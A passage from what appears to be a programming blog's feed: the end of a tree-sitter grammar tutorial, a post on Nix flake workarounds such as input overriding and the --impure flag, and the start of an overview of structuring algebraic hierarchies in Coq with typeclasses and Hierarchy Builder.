    <span class="nx">prec</span><span class="p">.</span><span class="nf">left</span><span class="p">(</span><span class="mi">1</span><span class="p">,</span><span class="nf">seq</span><span class="p">(</span><span class="nx">$</span><span class="p">.</span><span class="nx">aexp</span><span class="p">,</span><span class="dl">'</span><span class="s1">*</span><span class="dl">'</span><span class="p">,</span><span class="nx">$</span><span class="p">.</span><span class="nx">aexp</span><span class="p">)),</span>
    <span class="nf">seq</span><span class="p">(</span><span class="dl">'</span><span class="s1">(</span><span class="dl">'</span><span class="p">,</span><span class="nx">$</span><span class="p">.</span><span class="nx">aexp</span><span class="p">,</span><span class="dl">'</span><span class="s1">)</span><span class="dl">'</span><span class="p">),</span>
<span class="p">),</span>
</code></pre></div></div>

<p>However, something’s not quite right when we parse <code class="language-plaintext highlighter-rouge">1*2-3*4</code>:</p>

<center><img src="/assets/parse.svg" alt="Parse tree for 1*2-3*4" /></center>

<p>It’s being parsed as <code class="language-plaintext highlighter-rouge">((1*2)-3)*4</code>, which is clearly a different
interpretation!  We can fix this by specfiying <code class="language-plaintext highlighter-rouge">prec.left(2,...)</code> for
<code class="language-plaintext highlighter-rouge">*</code>.  The resulting parse tree we get is what we want.</p>

<center><img src="/assets/parse-correct.svg" alt="Parse tree for 1*2-3*4" /></center>

<p>Note that in many real language specs, the precedence of binary
operators is given, so it becomes pretty routine to figure out the
associativity and precedence to specify.</p>

<h4 id="boolean-expressions-and-statements">Boolean expressions and statements</h4>
<p>The grammars for boolean expressions and statements are similar, and
can be found in the accompanying <a href="https://github.com/siraben/tree-sitter-imp/blob/master/grammar.js">repository</a>.</p>

<h3 id="testing-the-grammar">Testing the grammar</h3>
<p>Phew, so now we have a grammar that tree-sitter compiles.  How do we
actually run it?  The tree-sitter CLI has two subcommands to help out
with this, <code class="language-plaintext highlighter-rouge">tree-sitter parse</code> and <code class="language-plaintext highlighter-rouge">tree-sitter test</code>.  The <code class="language-plaintext highlighter-rouge">parse</code>
subcommand takes a path to a file and parses it with the current
grammar, printing the parse tree to stdout.  The <code class="language-plaintext highlighter-rouge">test</code> subcommand
runs a suite of tests defined in a very simple syntax:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>===
skip statement
===
skip
---

(program
  (stmt
    (skip)))
</code></pre></div></div>

<p>The rows of equal signs denote the name of the test, followed by the
program to parse, then a line of dashes followed by the expected parse
tree.</p>

<p>When we run <code class="language-plaintext highlighter-rouge">tree-sitter test</code>, we get a check if a test passed and a
cross if it failed, complete with a diff showing the expected
vs. actual parse tree (to illustrate the error I replaced the example
code with <code class="language-plaintext highlighter-rouge">skip; skip</code> instead):</p>

<div><pre><code>tests:
    ✗ <span style="color: #aa0000">skip</span>
    ✓ <span style="color: #00aa00">assignment</span>
    ✓ <span style="color: #00aa00">prec</span>
    ✓ <span style="color: #00aa00">prog</span>

1 failure:

<span style="color: #00aa00">expected</span> / <span style="color: #aa0000">actual</span>

  1. skip:

    (program
      (stmt
<span style="color: #aa0000">        (seq
          (stmt
            (skip))
          (stmt
            (skip)))))</span>
<span style="color: #00aa00">        (skip)))</span>
</code></pre></div>

<h3 id="syntax-highlighting">Syntax highlighting!</h3>
<p>Believe it or not, that was pretty much all there is to writing a
tree-sitter grammar!  We can immediately put it to use by using it to
perform syntax highlighting.  Traditional syntax highlighting methods
used in editors rely on regex and ad-hoc heuristics to colorize
tokens, whereas since tree-sitter has access to the entire parse tree
it can not only color identifiers, numbers and keywords, but also can
do so in a context-aware fashion—for instance, highlighting local
variables and user-defined types consistently.</p>

<p>The <code class="language-plaintext highlighter-rouge">tree-sitter highlight</code> command lets you generate <a href="https://tree-sitter.github.io/tree-sitter/syntax-highlighting">syntax
highlighting</a>
of your source code and render it in your terminal or output to HTML.</p>

<p>Tree-sitter’s <a href="https://tree-sitter.github.io/tree-sitter/syntax-highlighting#queries">syntax
highlighting</a>
is based on queries.  Importantly, we need to assign highlight names
to different nodes in the tree.  We only need the following 5 lines
for this simple language.  The square brackets indicate alternations,
that is, if any of the nodes in the tree match an item in the list,
then assign the given capture name (prefixed with <code class="language-plaintext highlighter-rouge">@</code>) to it.</p>

<div class="language-scheme highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="p">[</span> <span class="s">"while"</span> <span class="s">"end"</span> <span class="s">"if"</span> <span class="s">"then"</span> <span class="s">"else"</span> <span class="s">"do"</span> <span class="p">]</span> <span class="nv">@keyword</span>
<span class="p">[</span> <span class="s">"*"</span> <span class="s">"+"</span> <span class="s">"-"</span> <span class="s">"="</span> <span class="s">":="</span> <span class="s">"~"</span> <span class="p">]</span> <span class="nv">@operator</span>
<span class="p">(</span><span class="nf">comment</span><span class="p">)</span> <span class="nv">@comment</span>
<span class="p">(</span><span class="nf">num</span><span class="p">)</span> <span class="nv">@number</span>
<span class="p">(</span><span class="nf">id</span><span class="p">)</span> <span class="nv">@variable</span><span class="o">.</span><span class="nv">builtin</span>
</code></pre></div></div>

<p>And here is what <code class="language-plaintext highlighter-rouge">tree-sitter highlight --html</code> on the factorial
program gives</p>

<div><pre><code><span style="font-style: italic;color: #8a8a8a">// Compute factorial</span>
<span style="font-weight: bold;">z</span> <span style="font-weight: bold;color: #4e4e4e">:=</span> <span style="font-weight: bold;">x</span>;
<span style="font-weight: bold;">y</span> <span style="font-weight: bold;color: #4e4e4e">:=</span> <span style="font-weight: bold;color: #875f00">1</span>;
<span style="color: #5f00d7">while</span> <span style="font-weight: bold;color: #4e4e4e">~</span>(<span style="font-weight: bold;">z</span> <span style="font-weight: bold;color: #4e4e4e">=</span> <span style="font-weight: bold;color: #875f00">0</span>) <span style="color: #5f00d7">do</span>
 <span style="font-weight: bold;">y</span> <span style="font-weight: bold;color: #4e4e4e">:=</span> <span style="font-weight: bold;">y</span> <span style="font-weight: bold;color: #4e4e4e">*</span> <span style="font-weight: bold;">z</span>;
 <span style="font-weight: bold;">z</span> <span style="font-weight: bold;color: #4e4e4e">:=</span> <span style="font-weight: bold;">z</span> <span style="font-weight: bold;color: #4e4e4e">-</span> <span style="font-weight: bold;color: #875f00">1</span>;
<span style="color: #5f00d7">end</span></code></pre></div>

<p>Not bad!  Operators, keywords, numbers and identifiers are clearly
highlighted, and the comment being grayed out and italicized makes the
code more readable.</p>

<h2 id="where-to-go-from-here">Where to go from here?</h2>
<p>Creating a tree-sitter grammar is only the beginning.  Now that you
have a fast, reliable way to generate syntax trees even in the
presence of syntax errors, you can use this as a base to build other
tools on.  I’ll briefly describe some of the topics below but they
really deserve their own blog post at a later date.</p>

<h3 id="more-highlighting">More highlighting</h3>
<p>Syntax highlighting can become more informative semantically with
tree-sitter.  That is, we can have the syntax highlighter color local
variable names one color, global variables another, distinguish
between field access and method access, and more.  Doing such nuanced
highlighting using a regex-based highlighter is about as futile as
trying to <a href="https://stackoverflow.com/questions/1732348/regex-match-open-tags-except-xhtml-self-contained-tags">parse HTML with regex</a>.</p>

<h3 id="editor-integration">Editor integration</h3>
<p><img src="/assets/emacs-querying.png" alt="Highlighting in Emacs" /></p>

<p>Tree-sitter grammars compile to a dynamic library which can be loaded
into editors such as Emacs, Atom and VS Code on any platform
(including WebAssembly).  Using the extension mechanisms in each
editor, you can build packages on top which can use the syntax tree
for a variety of things, such as structural code navigation, querying
the syntax tree for specific nodes (see screenshot), and of course
syntax highlighting.  Here’s an incomplete list of projects that use
tree-sitter to enhance editing:</p>

<ul>
  <li><a href="https://github.com/ethan-leba/tree-edit">tree-aware editing in Emacs</a></li>
  <li><a href="https://github.com/microsoft/vscode-anycode">incomplete IDE features in VS Code</a></li>
  <li><a href="https://github.com/nvim-treesitter/completion-treesitter">completion framework for Neovim</a></li>
</ul>

<h3 id="linters">Linters</h3>
<p>Tree-sitter has
<a href="https://tree-sitter.github.io/tree-sitter/#language-bindings">bindings</a>
in several languages.  You can use this information and tree-sitter’s
query language to traverse the syntax tree looking for specific
patterns (or anti-patterns) in your programming language.  To see this
in action for Imp, see my minimal example of <a href="https://github.com/siraben/ts-lint-example">linting Imp with the
JavaScript bindings</a>.
More details in a future post!</p>

<h2 id="final-thoughts">Final thoughts</h2>
<p>Parsing technology has come a long way since the birth of computer
science almost a century ago (see <a href="https://jeffreykegler.github.io/personal/timeline_v3">this excellent timeline of
parsing</a>).
We’ve gone from being unable to handle recursive expressions and
precedence to LALR parser generators and now GLR and fast incremental
parsing with tree-sitter.  It stands to reason that the tools millions
of developers use every day to look at their code should take
advantage of such developments.  We can do better than line-oriented
editing or hacky regexps to transform and highlight our code.  The
future is structural, and perhaps tree-sitter will play a big role in
it!</p>]]></content><author><name>Ben</name><email>siraben@siraben.dev</email></author><category term="parsing" /><category term="tree-sitter" /><summary type="html"><![CDATA[This article was discussed on Hacker News.]]></summary></entry><entry><title type="html">Dirty Nix flake quality-of-life hacks</title><link href="https://siraben.dev/2022/02/13/nix-flake-hacks.html" rel="alternate" type="text/html" title="Dirty Nix flake quality-of-life hacks" /><published>2022-02-13T04:09:00+00:00</published><updated>2022-02-13T04:09:00+00:00</updated><id>https://siraben.dev/2022/02/13/nix-flake-hacks</id><content type="html" xml:base="https://siraben.dev/2022/02/13/nix-flake-hacks.html"><![CDATA[<p><a href="https://www.tweag.io/blog/2020-05-25-flakes/">Nix flakes</a> landed in
Nix (as an experimental option) with the <a href="https://discourse.nixos.org/t/nix-2-4-released/15822">2.4
update</a> a few
months ago, and represents a substantial change in how projects using
Nix can standardize their outputs, inputs and ensure reproducibility.</p>

<p>Nevertheless, this hermeticity comes with some downsides, especially
when it comes to bandwidth, disk space and CPU usage.  The reason for
this is that <a href="https://github.com/NixOS/nixpkgs/">Nixpkgs</a> occasionally
merges PRs that “rebuild the world,” for instance, <a href="https://github.com/NixOS/nixpkgs/pull/138268">staging next
cycles</a>, or urgent
updates to OpenSSL and other critical packages (which cause a rebuild
in say, Vim because it affects the git derivation used to fetch it.)
Thus when you want to use a package that depends on an older or newer
commit of Nixpkgs and some mass-rebuild PR landed in the intervening
time, you’ll be faced with mass downloads of almost every dependency
that probably did not change in terms of build contents, but whose
build environments differed enough that Nix considers them
different.</p>

<p>After over a year of using flakes in practice, I’ve noticed certain
ways in which I overcome these inconveniences, which I’ll elaborate
below.</p>

<p>Note that this isn’t to say the hacks are without drawbacks.  I’ll
make it apparent in each hack what the benefits and drawbacks are.</p>

<h2 id="avoiding-mass-rebuilds-with-input-overriding">Avoiding mass rebuilds with input overriding</h2>
<p><strong>Scenario:</strong> want to avoid a mass rebuild when trying to build an
older project</p>

<p><strong>Fix:</strong> override the <code class="language-plaintext highlighter-rouge">nixpkgs</code> input with a fixed reference</p>

<p><strong>Drawbacks:</strong> might lose reproducibility, but it’s fine if the
changes weren’t major between the pinned commit and overriden one</p>

<p>Around a year ago, I started <a href="https://github.com/siraben/dotfiles/commit/217c02265596df27ae392840f656eff5d5446169">pinning my Nixpkgs
registry</a>.
This lets me keep my flake reference to <code class="language-plaintext highlighter-rouge">nixpkgs</code> consistent across my
systems (as opposed to using channels.)  This is good when running
commands with <code class="language-plaintext highlighter-rouge">nix run</code> so that instead of using the most up-to-date
commit of Nixpkgs, it uses the pinned one from my system instead.</p>

<p>I then deploy my server configuration using a <a href="https://github.com/winterqt/deploy">simple
tool</a>.  So when I want to update
my server I run the following command</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ nix run github:winterqt/deploy -- siraben-land
[0/81 built, 1/0/14 copied (3.7/924.4 MiB), 1.0/161.4 MiB DL] fetching llvm-13.0.0-lib from https://cache.nixos.org
</code></pre></div></div>

<p>Huh?  What does LLVM have to do with using the deployment tool?  Why
are there 81 rebuilds?  Such scenarios are commonplace in my
experience, due to the gap between what the package set Nixpkgs to and
where Nixpkgs is currently.  The solution is thus to override the
flake input altogether.  Many flake commands accept the
<code class="language-plaintext highlighter-rouge">--override-input</code> flag that takes two arguments; a path to override
and the new flake reference to override it with.  In the following
command I’m overriding the input called <code class="language-plaintext highlighter-rouge">nixpkgs</code> with <code class="language-plaintext highlighter-rouge">nixpkgs</code> from
my registry.</p>

<pre><code class="language-ShellSession">$ nix run github:winterqt/deploy --override-input nixpkgs nixpkgs --siraben-land
warning: not writing modified lock file of flake 'github:winterqt/deploy':
• Updated input 'nixpkgs':
    'github:NixOS/nixpkgs/5c37ad87222cfc1ec36d6cd1364514a9efc2f7f2' (2021-12-25)
  → 'github:NixOS/nixpkgs/a529f0c125a78343b145a8eb2b915b0295e4f459' (2022-01-31)
</code></pre>

<p>Notice that the reference to Nixpkgs went forward in time by a month.
In this case, I avoided rebuilds and the server config deployed
without any problems.  Of course, the natural downside to this is that
you might lose reproducibility if there were major changes between the
two commits.  In most non-critical cases, the resources and time saved
are worth the risk.</p>

<h2 id="importing-a-path-when-using-a-nix-command">Importing a path when using a Nix command</h2>
<p><strong>Scenario:</strong> when working with a pre-flakes project, we want to be
able to build a derivation specified with a given expression</p>

<p><strong>Fix:</strong> pass the <code class="language-plaintext highlighter-rouge">--impure</code> flag</p>

<p><strong>Drawbacks:</strong> could lead to larger closure sizes</p>

<p>In the world of Nix flakes, impure references to things as such as the
current directory are outright banned.  For instance, suppose we’re on
<code class="language-plaintext highlighter-rouge">aarch64-darwin</code> and we want to build GNU Hello for <code class="language-plaintext highlighter-rouge">x86_64-darwin</code>,
before flakes we might run</p>

<pre><code class="language-ShellSession">$ nix-build -E 'with (import ./. {system="x86_64-darwin";}); hello'
</code></pre>

<p>So the Nix command equivalent would be</p>

<pre><code class="language-ShellSession">$ nix build --expr 'with (import ./. {system="x86_64-darwin";}); hello'
error: access to absolute path '/Users/siraben/Git/forks/nixpkgs' is forbidden in pure eval mode (use '--impure' to override)
(use '--show-trace' to show detailed location information)
</code></pre>

<p>As the error message suggests, we have to pass <code class="language-plaintext highlighter-rouge">--impure</code> to it,
resulting in</p>

<pre><code class="language-ShellSession">$ nix build --impure --expr 'with (import ./. {system="x86_64-darwin";}); hello'
</code></pre>

<p>which succeeds as usual.  Note that this might lead to increased
closure sizes because a path reference results in the entire directory
of the package being copied to the Nix store.</p>

<h2 id="building-unfree-or-unsupported-packages">Building unfree or unsupported packages</h2>
<p><strong>Scenario:</strong> want to build unfree packages or packages that are
marked as broken for the current platform</p>

<p><strong>Fix:</strong> pass <code class="language-plaintext highlighter-rouge">--impure</code> to <code class="language-plaintext highlighter-rouge">nix build</code></p>

<p><strong>Drawbacks:</strong> mostly harmless™</p>

<p>As an example, the <a href="https://github.com/math-comp/mcb">math-comp</a> book has a
<code class="language-plaintext highlighter-rouge">flake.nix</code> file defined.  So we might be tempted to try to build the
book with flakes:</p>

<pre><code class="language-ShellSession">$ nix build github:math-comp/mcb
error: Package ‘math-comp-book’ in /nix/store/z5d23mcmv3va30nfkg1q40iz62xyi57a-source/flake.nix:36 has an unfree license (‘cc-by-nc-40’), refusing to evaluate.

       a) To temporarily allow unfree packages, you can use an environment variable
          for a single invocation of the nix tools.

            $ export NIXPKGS_ALLOW_UNFREE=1

       b) For `nixos-rebuild` you can set
         { nixpkgs.config.allowUnfree = true; }
       in configuration.nix to override this.

       Alternatively you can configure a predicate to allow specific packages:
         { nixpkgs.config.allowUnfreePredicate = pkg: builtins.elem (lib.getName pkg) [
             "math-comp-book"
           ];
         }

       c) For `nix-env`, `nix-build`, `nix-shell` or any other Nix command you can add
         { allowUnfree = true; }
       to ~/.config/nixpkgs/config.nix.
(use '--show-trace' to show detailed location information)
</code></pre>

<p>Unfortunately in this case it’s not clear what the fix is.  Even if
you set that environment variable, you still get the same error
message.  Again harkening back to the philosophy of Nix flakes,
querying environment variables is considered impure.  The fix is to
again pass the <code class="language-plaintext highlighter-rouge">--impure</code> flag while setting the environment variable
at the same time.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ NIXPKGS_ALLOW_UNFREE=1 nix build --impure github:math-comp/mcb &amp;&amp; tree ./result
./result
└── share
    └── book.pdf
</code></pre></div></div>

<p>There really isn’t any downside to this method, as far as I know.
Unless environment variables you set in your shell also affect other
aspects of the build, everything should be the same, and you’ll be
able to run and build packages that were marked as broken or unfree
previously.</p>

<h2 id="final-thoughts">Final thoughts</h2>
<p>Nix flakes isn’t to blame for these workarounds arising per se.  In a
sense, Nix becomes <em>too</em> pure to the extent where resources are being
used when they don’t strictly need to, especially for non-critical use
cases.  In the future, features such as a <a href="https://www.tweag.io/blog/2020-09-10-nix-cas/">content-addressed
store</a> may help with
issues such as mass rebuilds, where package hashes are determined by
their build contents and not their input derivations.</p>]]></content><author><name>Ben</name><email>siraben@siraben.dev</email></author><category term="nix" /><category term="hacks" /><summary type="html"><![CDATA[Nix flakes landed in Nix (as an experimental option) with the 2.4 update a few months ago, and represents a substantial change in how projects using Nix can standardize their outputs, inputs and ensure reproducibility.]]></summary></entry><entry><title type="html">Organizing mathematical theories in Coq: an overview</title><link href="https://siraben.dev/2022/02/08/organizing-theories.html" rel="alternate" type="text/html" title="Organizing mathematical theories in Coq: an overview" /><published>2022-02-08T18:01:00+00:00</published><updated>2022-02-08T18:01:00+00:00</updated><id>https://siraben.dev/2022/02/08/organizing-theories</id><content type="html" xml:base="https://siraben.dev/2022/02/08/organizing-theories.html"><![CDATA[<p>Programming and mathematics have much in common, philosophically.  The
disciplines deal with constructions of various kinds.  The
constructions can get arbitrarily complex and interconnected.  As a
result, it’s no surprise that concepts such as overloaded notations,
implicit coercions and inheritance pop up frequently in both
disciplines.  For instance, a field inherits the properties of a ring,
which in turn inherit from Abelian groups.  The symbol + can mean
different things depending on if we’re talking about vector spaces or
coproducts.  Mathematical structures even exhibit multiple
inheritance.  For instance, here’s the dependency graph of the real
number type in the
<a href="https://github.com/math-comp/analysis/">mathcomp-analysis</a> library.</p>

<p><img src="/assets/real-hierarchy.png" alt="Dependency graph of real numbers in
mathcomp-analysis" /></p>

<p>From left to right, the structures can be roughly classified as
pertaining to order theory, algebra and topology.  For the
object-oriented programmer: how many instances of multiple inheritance
do you see?</p>

<p>It’s important to capture the way structures are organized in
mathematics in a proof assistant with some uniform strategy,
well-known in the OOP world as “design patterns.”  In this article I
will catalogue and explain a selection of various patterns and their
strengths and benefits.  They are (in order of demonstration):</p>

<ul>
  <li>typeclasses</li>
  <li>hierarchy builder</li>
  <li>packed classes and canonical structures</li>
  <li>structures and telescopes</li>
  <li>records</li>
  <li>modules</li>
</ul>

<p>For convenience as a reference I will start with the most recommended
elegant and boilerplate-free patterns to the ugliest and broken ones.</p>

<p>The running example will be a simple algebraic hierarchy: semigroup,
monoid, commutative monoid, group, Abelian group.  That should be
elaborate enough to show how the approaches hold up in a more
realistic setting.  Here’s an overview of the hierarchy we’ll be
building over a type <code class="language-plaintext highlighter-rouge">A</code>:</p>

<p><br /><center><img src="/assets/alg.svg" /></center><br /></p>

<ul>
  <li>Semigroup
    <ul>
      <li><code class="language-plaintext highlighter-rouge">add : A -&gt; A -&gt; A</code> (a binary operation over <code class="language-plaintext highlighter-rouge">A</code>)</li>
      <li><code class="language-plaintext highlighter-rouge">addrA : forall x y z, add x (add y z) = add (add x y) z</code></li>
    </ul>
  </li>
  <li>Monoid (inherits from Semigroup)
    <ul>
      <li><code class="language-plaintext highlighter-rouge">zero : A</code></li>
      <li><code class="language-plaintext highlighter-rouge">add0r : forall x, add zero x = x</code></li>
      <li><code class="language-plaintext highlighter-rouge">addr0 : forall x, add x zero = x</code></li>
    </ul>
  </li>
  <li>ComMonoid (inherits from Monoid)
    <ul>
      <li><code class="language-plaintext highlighter-rouge">addrC : addrC : forall (x y : A), add x y = add y x;</code></li>
    </ul>
  </li>
  <li>Group (inherits from Monoid)
    <ul>
      <li><code class="language-plaintext highlighter-rouge">opp : A -&gt; A</code> (inverse function)</li>
      <li><code class="language-plaintext highlighter-rouge">addNr : forall x, add (opp x) x = zero</code> (addition of an element
with its inverse results in identity)</li>
    </ul>
  </li>
  <li>AbGroup (inherits from ComMonoid and Group)</li>
</ul>

<p>You may also see ssreflect style statements such as <code class="language-plaintext highlighter-rouge">associative add</code>.</p>

<p>Then, if all goes well, we will test the expressiveness of our
hierarchy by proving a simple lemma, which makes use of a law
from every structure.</p>

<div class="language-coq highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c">(* Let A an instance of AbGroup, then the lemma holds *)</span><span class="w">
</span><span class="k">Lemma</span><span class="w"> </span><span class="no">example</span><span class="w"> </span><span class="no">A</span><span class="w"> </span><span class="p">(</span><span class="no">a</span><span class="w"> </span><span class="no">b</span><span class="w"> </span><span class="p">:</span><span class="w"> </span><span class="no">A</span><span class="p">)</span><span class="w"> </span><span class="p">:</span><span class="w"> </span><span class="no">add</span><span class="w"> </span><span class="p">(</span><span class="no">add</span><span class="w"> </span><span class="p">(</span><span class="no">opp</span><span class="w"> </span><span class="no">b</span><span class="p">)</span><span class="w"> </span><span class="p">(</span><span class="no">add</span><span class="w"> </span><span class="no">b</span><span class="w"> </span><span class="no">a</span><span class="p">))</span><span class="w"> </span><span class="p">(</span><span class="no">opp</span><span class="w"> </span><span class="no">a</span><span class="p">)</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="no">zero</span><span class="pi">.</span><span class="w">
</span><span class="k">Proof</span><span class="pi">.</span><span class="w"> </span><span class="no">by</span><span class="w"> </span><span class="kp">rewrite</span><span class="w"> </span><span class="no">addrC</span><span class="w"> </span><span class="p">(</span><span class="no">addrA</span><span class="w"> </span><span class="p">(</span><span class="no">opp</span><span class="w"> </span><span class="no">b</span><span class="p">))</span><span class="w"> </span><span class="no">addNr</span><span class="w"> </span><span class="no">add0r</span><span class="w"> </span><span class="no">addNr</span><span class="pi">.</span><span class="w"> </span><span class="k">Qed</span><span class="pi">.</span><span class="w">
</span></code></pre></div></div>
<h2 id="typeclasses">Typeclasses</h2>
<p><strong>Reading:</strong> <a href="https://arxiv.org/abs/1102.1323">Type Classes for Mathematics in Type
Theory</a></p>

<p>A well-known and vanilla approach is to use typeclasses.  This goes
very well, our declaration for <code class="language-plaintext highlighter-rouge">AbGroup</code> is just the constraints,
similar to how it would be done in Haskell.  However, pay special
attention to the definition of <code class="language-plaintext highlighter-rouge">AbGroup</code>, there’s a <code class="language-plaintext highlighter-rouge">!</code> in front of
the <code class="language-plaintext highlighter-rouge">ComMonoid</code> constraint to expose the implicit arguments again, so
that it can implicitly inherit the monoid instance from <code class="language-plaintext highlighter-rouge">G</code>.</p>

<div class="language-coq highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">Require</span><span class="w"> </span><span class="k">Import</span><span class="w"> </span><span class="no">ssrfun</span><span class="w"> </span><span class="no">ssreflect</span><span class="pi">.</span><span class="w">

</span><span class="k">Class</span><span class="w"> </span><span class="no">Semigroup</span><span class="w"> </span><span class="p">(</span><span class="no">A</span><span class="w"> </span><span class="p">:</span><span class="w"> </span><span class="kr">Type</span><span class="p">)</span><span class="w"> </span><span class="p">(</span><span class="no">add</span><span class="w"> </span><span class="p">:</span><span class="w"> </span><span class="no">A</span><span class="w"> </span><span class="o">-&gt;</span><span class="w"> </span><span class="no">A</span><span class="w"> </span><span class="o">-&gt;</span><span class="w"> </span><span class="no">A</span><span class="p">)</span><span class="w"> </span><span class="p">:=</span><span class="w"> </span><span class="p">{</span><span class="w"> </span><span class="no">addrA</span><span class="w"> </span><span class="p">:</span><span class="w"> </span><span class="no">associative</span><span class="w"> </span><span class="no">add</span><span class="w"> </span><span class="p">}</span><span class="pi">.</span><span class="w">

</span><span class="k">Class</span><span class="w"> </span><span class="no">Monoid</span><span class="w"> </span><span class="no">A</span><span class="w"> </span><span class="p">`{</span><span class="no">M</span><span class="w"> </span><span class="p">:</span><span class="w"> </span><span class="no">Semigroup</span><span class="w"> </span><span class="no">A</span><span class="p">}</span><span class="w"> </span><span class="p">(</span><span class="no">zero</span><span class="w"> </span><span class="p">:</span><span class="w"> </span><span class="no">A</span><span class="p">)</span><span class="w"> </span><span class="p">:=</span><span class="w"> </span><span class="p">{</span><span class="w">
  </span><span class="no">add0r</span><span class="w"> </span><span class="p">:</span><span class="w"> </span><span class="kr">forall</span><span class="w"> </span><span class="no">x</span><span class="p">,</span><span class="w"> </span><span class="no">zero</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="no">x</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="no">x</span><span class="p">;</span><span class="w">
  </span><span class="no">addr0</span><span class="w"> </span><span class="p">:</span><span class="w"> </span><span class="kr">forall</span><span class="w"> </span><span class="no">x</span><span class="p">,</span><span class="w"> </span><span class="no">x</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="no">zero</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="no">x</span><span class="w">
</span><span class="p">}</span><span class="pi">.</span><span class="w">

</span><span class="k">Class</span><span class="w"> </span><span class="no">ComMonoid</span><span class="w"> </span><span class="no">A</span><span class="w"> </span><span class="p">`{</span><span class="no">M</span><span class="w"> </span><span class="p">:</span><span class="w"> </span><span class="no">Monoid</span><span class="w"> </span><span class="no">A</span><span class="p">}</span><span class="w"> </span><span class="p">:=</span><span class="w"> </span><span class="p">{</span><span class="w"> </span><span class="no">addrC</span><span class="w"> </span><span class="p">:</span><span class="w"> </span><span class="no">commutative</span><span class="w"> </span><span class="no">add</span><span class="w"> </span><span class="p">}</span><span class="pi">.</span><span class="w">

</span><span class="k">Class</span><span class="w"> </span><span class="no">Group</span><span class="w"> </span><span class="no">A</span><span class="w"> </span><span class="p">`{</span><span class="no">M</span><span class="w"> </span><span class="p">:</span><span class="w"> </span><span class="no">Monoid</span><span class="w"> </span><span class="no">A</span><span class="p">}</span><span class="w"> </span><span class="p">(</span><span class="no">opp</span><span class="w"> </span><span class="p">:</span><span class="w"> </span><span class="no">A</span><span class="w"> </span><span class="o">-&gt;</span><span class="w"> </span><span class="no">A</span><span class="p">)</span><span class="w"> </span><span class="p">:=</span><span class="w"> </span><span class="p">{</span><span class="w">
  </span><span class="no">addNr</span><span class="w"> </span><span class="p">:</span><span class="w"> </span><span class="kr">forall</span><span class="w"> </span><span class="no">x</span><span class="p">,</span><span class="w"> </span><span class="no">add</span><span class="w"> </span><span class="p">(</span><span class="no">opp</span><span class="w"> </span><span class="no">x</span><span class="p">)</span><span class="w"> </span><span class="no">x</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="no">zero</span><span class="w">
</span><span class="p">}</span><span class="pi">.</span><span class="w">

</span><span class="k">Class</span><span class="w"> </span><span class="no">AbGroup</span><span class="w"> </span><span class="no">A</span><span class="w"> </span><span class="p">`{</span><span class="no">G</span><span class="w"> </span><span class="p">:</span><span class="w"> </span><span class="no">Group</span><span class="w"> </span><span class="no">A</span><span class="p">}</span><span class="w"> </span><span class="p">`{</span><span class="no">CM</span><span class="w"> </span><span class="p">:</span><span class="w"> </span><span class="o">!</span><span class="no">ComMonoid</span><span class="w"> </span><span class="no">A</span><span class="p">}</span><span class="pi">.</span><span class="w">
</span></code></pre></div></div>

<p>The example lemma is easily proved, showing the power of typeclass
resolution in unifying all the structures.</p>

<div class="language-coq highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">Lemma</span><span class="w"> </span><span class="no">example</span><span class="w"> </span><span class="no">A</span><span class="w"> </span><span class="p">`{</span><span class="no">M</span><span class="w"> </span><span class="p">:</span><span class="w"> </span><span class="no">AbGroup</span><span class="w"> </span><span class="no">A</span><span class="p">}</span><span class="w"> </span><span class="p">(</span><span class="no">a</span><span class="w"> </span><span class="no">b</span><span class="w"> </span><span class="p">:</span><span class="w"> </span><span class="no">A</span><span class="p">)</span><span class="w">
  </span><span class="p">:</span><span class="w"> </span><span class="no">add</span><span class="w"> </span><span class="p">(</span><span class="no">add</span><span class="w"> </span><span class="p">(</span><span class="no">opp</span><span class="w"> </span><span class="no">b</span><span class="p">)</span><span class="w"> </span><span class="p">(</span><span class="no">add</span><span class="w"> </span><span class="no">b</span><span class="w"> </span><span class="no">a</span><span class="p">))</span><span class="w"> </span><span class="p">(</span><span class="no">opp</span><span class="w"> </span><span class="no">a</span><span class="p">)</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="no">zero</span><span class="pi">.</span><span class="w">
</span><span class="k">Proof</span><span class="pi">.</span><span class="w"> </span><span class="no">by</span><span class="w"> </span><span class="kp">rewrite</span><span class="w"> </span><span class="no">addrC</span><span class="w"> </span><span class="p">(</span><span class="no">addrA</span><span class="w"> </span><span class="p">(</span><span class="no">opp</span><span class="w"> </span><span class="no">b</span><span class="p">))</span><span class="w"> </span><span class="no">addNr</span><span class="w"> </span><span class="no">add0r</span><span class="w"> </span><span class="no">addNr</span><span class="pi">.</span><span class="w"> </span><span class="k">Qed</span><span class="pi">.</span><span class="w">
</span></code></pre></div></div>

<p>See the accompanying gist for the instantation of the structures over
ℤ.</p>

<h2 id="hierarchy-builder">Hierarchy Builder</h2>
<p>The
<a href="https://github.com/math-comp/hierarchy-builder">Hierarchy Builder</a>
(HB) package is best described as a boilerplate generator, but in a
good way!  From a usability point of view, it is similar to
typeclasses.</p>

<p>First we define semigroups.  <code class="language-plaintext highlighter-rouge">HB.mixin Record IsSemigroup A</code> declares
that we are about to define a predicate <code class="language-plaintext highlighter-rouge">IsSemigroup</code> over a type <code class="language-plaintext highlighter-rouge">A</code>,
and the two entries in the record denote the binary operation and its
associativity, respectively.  We also define an infix notation for
convenience.</p>

<div class="language-coq highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="no">From</span><span class="w"> </span><span class="no">HB</span><span class="w"> </span><span class="k">Require</span><span class="w"> </span><span class="k">Import</span><span class="w"> </span><span class="no">structures</span><span class="pi">.</span><span class="w">
